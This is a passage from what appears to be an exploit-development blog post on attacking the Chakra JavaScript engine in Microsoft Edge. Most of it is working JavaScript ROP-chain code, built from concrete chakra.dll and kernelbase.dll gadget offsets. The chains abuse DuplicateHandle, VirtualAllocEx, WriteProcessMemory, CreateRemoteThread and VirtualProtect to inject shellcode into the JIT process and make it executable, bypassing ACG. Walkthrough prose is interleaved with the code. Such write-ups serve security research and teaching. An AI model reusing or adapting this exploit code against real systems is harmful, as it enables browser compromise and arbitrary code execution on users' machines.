write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00001000, 0x00000000);             // 0x1000 (shellcode size)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x24628b, chakraHigh);      // 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();

// LPVOID lpAddress (RDX)
// Let VirtualAllocEx decide where the memory will be located
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // NULL address (let VirtualAllocEx deside where we allocate memory in the JIT process)
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which will hold full perms handle to JIT server
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
next();                                                                     				   // Recall RAX already has a writable pointer in it

// Call KERNELBASE!VirtualAllocEx
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0xff00, kernelbaseHigh); // KERNELBASE!VirtualAllocEx address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!VirtualAllocEx)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!VirtualAllocEx - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000004, 0x00000000);             // DWORD flProtect (RSP+0x28) (PAGE_READWRITE)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();

// WriteProcessMemory() ROP chain
// Stage 3 -> Write our shellcode into the JIT process

// Store the VirtualAllocEx return address in the .data section of kernelbase.dll (It is currently in RAX)

/*
0:015> dq kernelbase+0x216000+0x4000 L2
00007fff`58cfa000  00000000`00000000 00000000`00000000
*/
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000, kernelbaseHigh); // .data section of kernelbase.dll where we will store VirtualAllocEx allocation
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);       // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
next();

// SIZE_T nSize (R9)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00001000, 0x00000000);             // SIZE_T nSize (0x1000)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which holds our full perms handle to JIT server
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
next();                                                                     // Recall RAX already has a writable pointer in it

// LPVOID lpBaseAddress (RDX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000-0x8, kernelbaseHigh); // .data section of kernelbase.dll where we have our VirtualAllocEx allocation
next();                                                                            // (-0x8 to compensate for below where we have to read from the address at +0x8 offset
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x255fa0, chakraHigh);      // mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret
next();

// LPCVOID lpBuffer (R8) (shellcode in chakra.dll .data section)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);         // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74b000, chakraHigh);    	  // .data section of chakra.dll holding our shellcode
next();

// Call KERNELBASE!WriteProcessMemory
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x79a40, kernelbaseHigh); // KERNELBASE!WriteProcessMemory address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();

// CreateRemoteThread() ROP chain
// Stage 4 -> Create a thread within the JIT process, but create it suspended
// This will allow the thread to _not_ execute until we are ready
// LPTHREAD_START_ROUTINE can be set to anything, as CFG will check it and we will end up setting RIP directly later
// We will eventually hijack RSP of this thread with a ROP chain, and by setting RIP to a return gadget our thread, when executed, will return into our ROP chain
// We will update the thread later via another ROP chain to call SetThreadContext()

// LPTHREAD_START_ROUTINE lpStartAddress (R9)
// This can be any random data, since it will never be executed
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x28b4fe, chakraHigh);	   // 0x180043c63: Anything we want - this will never get executed
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which holds our full perms handle to JIT server
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
next();

// LPSECURITY_ATTRIBUTES lpThreadAttributes (RDX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // NULL (default security properties)
next();

// SIZE_T dwStackSize (R8)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);      // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // 0 (default stack size)
next();

// Call KERNELBASE!CreateRemoteThread
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0xdcfd0, kernelbaseHigh); // KERNELBASE!CreateRemoteThread
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!CreateRemoteThread)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!CreateRemoteThread - 0x180243949: add rsp, 0x38 ; ret
next(); 
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // LPVOID lpParameter (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000004, 0x00000000);             // DWORD dwCreationFlags (RSP+0x30) (CREATE_SUSPENDED to avoid executing the thread routine)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // LPDWORD lpThreadId (RSP+0x38)
next();

You’ll notice right off the bat the comment about LPTHREAD_START_ROUTINE can be set to anything, as CFG will check it and we will end up setting RIP directly later. This is very contradictory to what we just said about setting the thread’s entry point to a ROP gadget, and just returning into the stack. I implore the reader to keep this mindset for now, as this is logical to think, but by the end of the blog post I hope it is clear to the reader that is a bit more nuanced than just setting the entry point to a ROP gadget. For now, this isn’t a big deal.

Let’s now see this in action. To make things easier, as we had been using pop rcx as a breakpoint up until this point, we will simply set a breakpoint on our jmp rax gadget and continue executing until we hit our WriteProcessMemory ROP chain (note our jmp rax gadget actually will always be called once before DuplicateHandle. This doesn’t affect us at all and is just mentioned as a point of contention). We will then use pt to execute the call to WriteProcessMemory, until the ret, which will bring us into our CreateRemoteThread ROP chain.

Now that we have hit our CreateRemoteThread ROP chain, we will setup our lpStartAddress parameter, which will go in R9. We will first place a writable address in RAX so that our mov r9, rcx gadget (we will pop our intended value in RCX that we want lpStartAddress to be) will not cause an access violation.

Our call to CreateRemoteThread is in the current state:

CreateRemoteThread(
	-
	-
	-
	addressof(ret_gadget),		// Function pointer we want to execute (when the thread eventually executes, we want it to just return to the stack)
	-
	-
	-
);

The next parameter we are going to knock out is the hProcess parameter - which is just the same handle to the JIT server with PROCESS_ALL_ACCESS that we have used several times already.

We can see we used pop to get the address of our JIT handle into RCX, and then we dereferenced RCX to get the raw value of the handle into RCX. We also already had a writable value in RAX, so we “bypass” the operation which writes to the memory address contained in RAX (and it doesn’t cause an access violation because the address is writable).

Our call to CreateRemoteThread is now in this state:

CreateRemoteThread(
	fulljitHandle,			// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call
	-
	-
	addressof(ret_gadget),		// Function pointer we want to execute (when the thread eventually executes, we want it to just return to the stack)
	-
	-
	-
);

After retrieving the handle of the JIT process, our next parameter we will fill in is the lpThreadAttributes parameter - which just requires a value of 0. We can just directly write this value to the stack and use a pop operation to place the 0 value into RDX to essentially give our thread “normal” security attributes.

Easy as you’d like! Our call is now in the following state:

CreateRemoteThread(
	fulljitHandle,			// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call
	NULL,				// Default SECURITY_ATTRIBUTES
	-
	addressof(ret_gadget),		// Function pointer we want to execute (when the thread eventually executes, we want it to just return to the stack)
	-
	-
	-
);

Next up is the dwStackSize parameter. Again, we just want to use the default stack size (recall each thread has its own CPU register state, stack, etc.) - meaning we can specify 0 here.

We are now in the following state:

CreateRemoteThread(
	fulljitHandle,			// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call
	NULL,				// Default SECURITY_ATTRIBUTES
	0,				// Default Stack size
	addressof(ret_gadget),		// Function pointer we want to execute (when the thread eventually executes, we want it to just return to the stack)
	-
	-
	-
);

Since the rest of the parameters will be written to the stack RSP + 0x28, 0x30, 0x38. So, we will now place CreateRemoteThread into RAX and use our write primitive to write our remaining parameters to the stack (setting all to 0 but setting the dwCreationFlags to 4 to create this thread in a suspended state).

Our call is now in its final state:

CreateRemoteThread(
	fulljitHandle,			// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call
	NULL,				// Default SECURITY_ATTRIBUTES
	0,				// Default Stack size
	addressof(ret_gadget),		// Function pointer we want to execute (when the thread eventually executes, we want it to just return to the stack)
	NULL,				// No variable needs to be passed
	4,				// CREATE_SUSPENDED (Create the thread in a suspended state)
	NULL 				// Don't return the thread ID (we don't need it)
);

After executing the call, we get our return value which is a handle to the new thread which lives in the JIT server process.

Running Process Hacker as an administrator and viewing the Handles tab will show our returned handle is, in fact, a Thread handle and refers to the JIT server process.

If we then close out of the window (but not totally out of Process Hacker) we can examine the thread IT (TID) within the Threads tab of the JIT process to confirm where our thread is and what start address it will execute when the thread becomes non-suspended (e.g. resumed).

As we can see, when this thread executes (it is currently suspended and not executing) it will perform a ret, which will load RSP into RIP (or will it? Keep reading towards the end and use critical thinking skills as to why this may not be the case!). Since we will eventually write our final ROP chain to RSP, this will kick off our last ROP chain which will mark our shellcode as RWX. Our next two ROP chains, which are fairly brief, will simply be used to update our final ROP chain. We now have a thread we can control in the process where ACG is disabled - meaning we are inching closer.

WriteProcessMemory ROP Chain (Round 2)

Let’s quickly take a look at our “final” ROP chain (which currently resides in the content process, where our exploit is executing):

// VirtualProtect() ROP chain (will be called in the JIT process)
write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x577fd4, chakraHigh);         // 0x180577fd4: pop rax ; ret
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x72E128, chakraHigh);         // .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x46377, chakraHigh);          // 0x180046377: pop rcx ; ret
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x74e030, chakraHigh);         // PDWORD lpflOldProtect (any writable address -> Eventually placed in R9)
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0xf6270, chakraHigh);          // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding for add rsp, 0x28
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding for add rsp, 0x28
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding for add rsp, 0x28
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding for add rsp, 0x28
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding for add rsp, 0x28
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x46377, chakraHigh);          // 0x180046377: pop rcx ; ret
inc();

// Store the current offset within the .data section into a var
ropoffsetOne = countMe;

write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x00000000);                // LPVOID lpAddress (Eventually will be updated to the address we want to mark as RWX, our shellcode)
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x1d2c9, chakraHigh);          // 0x18001d2c9: pop rdx ; ret
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00001000, 0x00000000);                // SIZE_T dwSize (0x1000)
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x576231, chakraHigh);         // 0x180576231: pop r8 ; ret
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000040, 0x00000000);                // DWORD flNewProtect (PAGE_EXECUTE_READWRITE)
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x577fd4, chakraHigh);         // 0x180577fd4: pop rax ; ret
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, kernelbaseLo+0x61700, kernelbaseHigh);  // KERNELBASE!VirtualProtect
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x272beb, chakraHigh);         // 0x180272beb: jmp rax (Call KERNELBASE!VirtualProtect)
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x118b9, chakraHigh);          // 0x1800118b9: add rsp, 0x18 ; ret
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x4c1b65, chakraHigh);         // 0x1804c1b65: pop rdi ; ret
inc();

// Store the current offset within the .data section into a var
ropoffsetTwo = countMe;

write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x00000000);                // Will be updated with the VirtualAllocEx allocation (our shellcode)
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x1ef039, chakraHigh);         // 0x1801ef039: push rdi ; ret (Return into our shellcode)
inc();

This is a VirtualProtect ROP chain, which will mark the target pages as RWX. As we know we cannot directly allocate and execute RWX pages via remote injection (VirtualAllocEx -> WriteProcessMemory -> CreateRemoteThread). So, instead, we will eventually leak the stack of our remote thread that exists within the JIT process (where ACG is disabled). When we resume the thread, our ROP chain will kick off and mark our shellcode as RWX. However, there is a slight problem with this. Let me explain.

We know our shellcode resides in the JIT process at whatever memory address VirtualAllocEx decided. However, our VirtualProtect ROP chain (shown above and at the beginning of this blog post) was embedded within the .data section of the content process (in order to store it, so we can inject it later when the time comes). The issue we are facing is that of a “runtime problem” as our VirtualProtect ROP chain has no way to know what address our shellcode will reside in via our VirtualAllocEx ROP chain. This is not only because the remote allocation occurs after we have “preserved” our VirtualProtect ROP chain, but also because when VirutalAllocEx allocates memory, we request a “private” region of memory, which is “randomized”, and is subject to change after each call to VirtualAllocEx. We can see this in the following gadget:

write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x46377, chakraHigh);          // 0x180046377: pop rcx ; ret
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x00000000);                // LPVOID lpAddress (Eventually will be updated to the address we want to mark as RWX, our shellcode)
inc();

The above snippet is from our VirtualProtect ROP chain. When this ROP chain is stored before our massive multiple ROP chains we have been walking through, starting with DuplicateHandle and overwriting our return address, the VirtualProtect ROP chain has no way to know where our shellcode is going to end up. lpAddress is a parameter that requires…

The address of the starting page of the region of pages whose access protection attributes are to be changed.

The shellcode, which we inject into the remote JIT process, is the lpAddress we want to mark as RWX eventually. However, our VirtualProtect ROP chain just uses a placeholder for this value. What we are going to do is use another call to WriteProcessMemory to update this address, at our exploit’s runtime. You’ll also notice the following snippet:

// Store the current offset within the .data section into a var
ropoffsetOne = countMe;

These are simply variables (ropoffsetOne, ropoffsetTwo, ropBegin) that save the current location of our “counter”, which is used to easily write gadgets 8 bytes at a time (we are on a 64-bit system, every pointer is 8 bytes). We “save” the current location in the ROP chain in a variable to allow us to easily write to it later. This will make more sense when we see the full call to WriteProcessMemory via ROP.

Here is how this call is setup:

WriteProcessMemory(
	(HANDLE)0xFFFFFFFFFFFFFFFF, 				// Psuedo handle to the current process (the content process, when the exploit is executing)
	addressof(VirtualProtectROPChain_offset),		// Address of our return value from VirtualAllocEx (where we want to write the VirtualAllocEx_allocation address to)
	addressof(VirtualAllocEx_Allocation),			// Address of our VirtualAllocEx allocation (where our shellcode resides in the JIT process at this point in the exploit)
	0x8							// 64-bit pointer size (sizeof(QWORD)))
	NULL 							// Optional
);

Our ROP chain simply will write the address of our shellcode, in the remote JIT process (allocated via VirtualAllocEx) to our “final” VirtualProtect ROP chain so that the VirtualProtect ROP chain knows what pages to mark RWX. This is achieved via ROP, as seen below (including all previous ROP chains):

// alert() for debugging
alert("DEBUG");

// Store the value of the handle to the JIT server by way of chakra!ScriptEngine::SetJITConnectionInfo (chakra!JITManager+s_jitManager+0x8)
jitHandle = read64(chakraLo+0x74d838, chakraHigh);

// Helper function to be called after each stack write to increment offset to be written to
function next()
{
    counter+=0x8;
}

// Begin ROP chain
// Since __fastcall requires parameters 5 and so on to be at RSP+0x20, we actually have to put them at RSP+0x28
// This is because we don't push a return address on the stack, as we don't "call" our APIs, we jump into them
// Because of this we have to compensate by starting them at RSP+0x28 since we can't count on a return address to push them there for us

// DuplicateHandle() ROP chain
// Stage 1 -> Abuse PROCESS_DUP_HANDLE handle to JIT server by performing DuplicateHandle() to get a handle to the JIT server with full permissions
// ACG is disabled in the JIT process
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1299

// Writing our ROP chain to the stack, stack+0x8, stack+0x10, etc. after return address overwrite to hijack control-flow transfer

// HANDLE hSourceProcessHandle (RCX) _should_ come first. However, we are configuring this parameter towards the end, as we need RCX for the lpTargetHandle parameter

// HANDLE hSourceHandle (RDX)
// (HANDLE)-1 value of current process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0xffffffff, 0xffffffff);             // Psuedo-handle to current process
next();

// HANDLE hTargetProcessHandle (R8)
// (HANDLE)-1 value of current process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x24628b, chakraHigh);      // 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();

// LPHANDLE lpTargetHandle (R9)
// This needs to be a writable address where the full JIT handle will be stored
// Using .data section of chakra.dll in a part where there is no data
/*
0:053> dqs chakra+0x72E000+0x20010
00007ffc`052ae010  00000000`00000000
00007ffc`052ae018  00000000`00000000
*/
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72e128, chakraHigh);      // .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which will hold full perms handle to JIT server;
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hSourceProcessHandle (RCX)
// Handle to the JIT process from the content process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], jitHandle[0], jitHandle[1]);         // PROCESS_DUP_HANDLE HANDLE to JIT server
next();

// Call KERNELBASE!DuplicateHandle
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
